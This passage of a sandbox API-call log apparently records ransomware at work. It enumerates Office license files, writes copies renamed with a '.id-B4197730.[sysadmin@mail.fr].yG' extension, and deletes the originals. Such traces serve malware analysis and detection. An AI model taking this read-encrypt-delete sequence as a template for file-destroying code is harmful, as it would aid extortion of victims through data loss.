	[0176.993] lstrlenW (lpString=".docx") returned 5
	[0176.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.993] lstrlenW (lpString=".pdf") returned 4
	[0176.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.993] lstrlenW (lpString=".xls") returned 4
	[0176.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.993] lstrlenW (lpString=".xlsx") returned 5
	[0176.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.993] lstrlenW (lpString=".ppt") returned 4
	[0176.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0176.993] lstrlenW (lpString=".zip") returned 4
	[0176.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.993] lstrlenW (lpString=".rar") returned 4
	[0176.994] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.994] lstrlenW (lpString=".bz2") returned 4
	[0176.994] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.994] lstrlenW (lpString=".7z") returned 3
	[0176.994] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0176.994] lstrlenW (lpString=".dbf") returned 4
	[0176.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0176.994] lstrlenW (lpString=".1cd") returned 4
	[0176.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87
	[0176.994] lstrlenW (lpString=".jpg") returned 4
	[0176.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.995] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11215) returned 1
	[0176.995] CloseHandle (hObject=0x398) returned 1
	[0176.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 0x220
	[0176.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0176.996] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.996] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.998] GetLastError () returned 0x0
	[0176.998] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0177.275] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0177.276] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.276] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0177.276] SetEndOfFile (hFile=0x540) returned 1
	[0177.276] CloseHandle (hObject=0x540) returned 1
	[0177.276] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.277] SetEndOfFile (hFile=0x398) returned 1
	[0177.280] CloseHandle (hObject=0x398) returned 1
	[0177.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 1
	[0177.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0177.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0177.282] lstrlenW (lpString=".doc") returned 4
	[0177.282] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.282] lstrlenW (lpString=".docx") returned 5
	[0177.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.282] lstrlenW (lpString=".pdf") returned 4
	[0177.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.282] lstrlenW (lpString=".xls") returned 4
	[0177.283] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString=".xlsx") returned 5
	[0177.283] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.283] lstrlenW (lpString=".ppt") returned 4
	[0177.283] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0177.283] lstrlenW (lpString=".zip") returned 4
	[0177.283] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString=".rar") returned 4
	[0177.283] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString=".bz2") returned 4
	[0177.283] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString=".7z") returned 3
	[0177.283] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0177.283] lstrlenW (lpString=".dbf") returned 4
	[0177.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0177.283] lstrlenW (lpString=".1cd") returned 4
	[0177.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91
	[0177.283] lstrlenW (lpString=".jpg") returned 4
	[0177.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.284] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11215) returned 1
	[0177.284] CloseHandle (hObject=0x398) returned 1
	[0177.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 0x220
	[0177.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.287] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.287] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.288] GetLastError () returned 0x0
	[0177.288] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0177.344] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0177.346] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.346] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0177.346] SetEndOfFile (hFile=0x540) returned 1
	[0177.346] CloseHandle (hObject=0x540) returned 1
	[0177.346] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.347] SetEndOfFile (hFile=0x398) returned 1
	[0177.351] CloseHandle (hObject=0x398) returned 1
	[0177.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 1
	[0177.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0177.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0177.353] lstrlenW (lpString=".doc") returned 4
	[0177.353] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.353] lstrlenW (lpString=".docx") returned 5
	[0177.353] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.353] lstrlenW (lpString=".pdf") returned 4
	[0177.353] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.353] lstrlenW (lpString=".xls") returned 4
	[0177.353] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.353] lstrlenW (lpString=".xlsx") returned 5
	[0177.353] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.353] lstrlenW (lpString=".ppt") returned 4
	[0177.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0177.353] lstrlenW (lpString=".zip") returned 4
	[0177.353] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.353] lstrlenW (lpString=".rar") returned 4
	[0177.354] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.354] lstrlenW (lpString=".bz2") returned 4
	[0177.354] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.354] lstrlenW (lpString=".7z") returned 3
	[0177.354] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0177.354] lstrlenW (lpString=".dbf") returned 4
	[0177.354] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0177.354] lstrlenW (lpString=".1cd") returned 4
	[0177.354] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0177.354] lstrlenW (lpString=".jpg") returned 4
	[0177.354] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.355] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=27735) returned 1
	[0177.355] CloseHandle (hObject=0x398) returned 1
	[0177.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 0x220
	[0177.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.356] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.357] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.358] GetLastError () returned 0x0
	[0177.358] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0177.394] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0177.395] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.395] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x128, lpOverlapped=0x0) returned 1
	[0177.395] SetEndOfFile (hFile=0x540) returned 1
	[0177.396] CloseHandle (hObject=0x540) returned 1
	[0177.396] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.396] SetEndOfFile (hFile=0x398) returned 1
	[0177.400] CloseHandle (hObject=0x398) returned 1
	[0177.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 1
	[0177.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0177.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0177.402] lstrlenW (lpString=".doc") returned 4
	[0177.402] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.402] lstrlenW (lpString=".docx") returned 5
	[0177.402] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.402] lstrlenW (lpString=".pdf") returned 4
	[0177.402] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.402] lstrlenW (lpString=".xls") returned 4
	[0177.402] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.402] lstrlenW (lpString=".xlsx") returned 5
	[0177.402] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.402] lstrlenW (lpString=".ppt") returned 4
	[0177.402] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0177.402] lstrlenW (lpString=".zip") returned 4
	[0177.402] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.402] lstrlenW (lpString=".rar") returned 4
	[0177.402] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.402] lstrlenW (lpString=".bz2") returned 4
	[0177.402] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.403] lstrlenW (lpString=".7z") returned 3
	[0177.403] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0177.403] lstrlenW (lpString=".dbf") returned 4
	[0177.403] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0177.403] lstrlenW (lpString=".1cd") returned 4
	[0177.403] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0177.403] lstrlenW (lpString=".jpg") returned 4
	[0177.403] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.403] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11671) returned 1
	[0177.403] CloseHandle (hObject=0x398) returned 1
	[0177.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0177.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.405] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.405] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.407] GetLastError () returned 0x0
	[0177.407] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0177.436] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0177.438] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.438] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0177.438] SetEndOfFile (hFile=0x540) returned 1
	[0177.438] CloseHandle (hObject=0x540) returned 1
	[0177.438] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.438] SetEndOfFile (hFile=0x398) returned 1
	[0177.442] CloseHandle (hObject=0x398) returned 1
	[0177.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 1
	[0177.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0177.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0177.444] lstrlenW (lpString=".doc") returned 4
	[0177.444] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString=".docx") returned 5
	[0177.444] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.444] lstrlenW (lpString=".pdf") returned 4
	[0177.444] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString=".xls") returned 4
	[0177.444] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString=".xlsx") returned 5
	[0177.444] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.444] lstrlenW (lpString=".ppt") returned 4
	[0177.444] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0177.444] lstrlenW (lpString=".zip") returned 4
	[0177.444] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString=".rar") returned 4
	[0177.444] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString=".bz2") returned 4
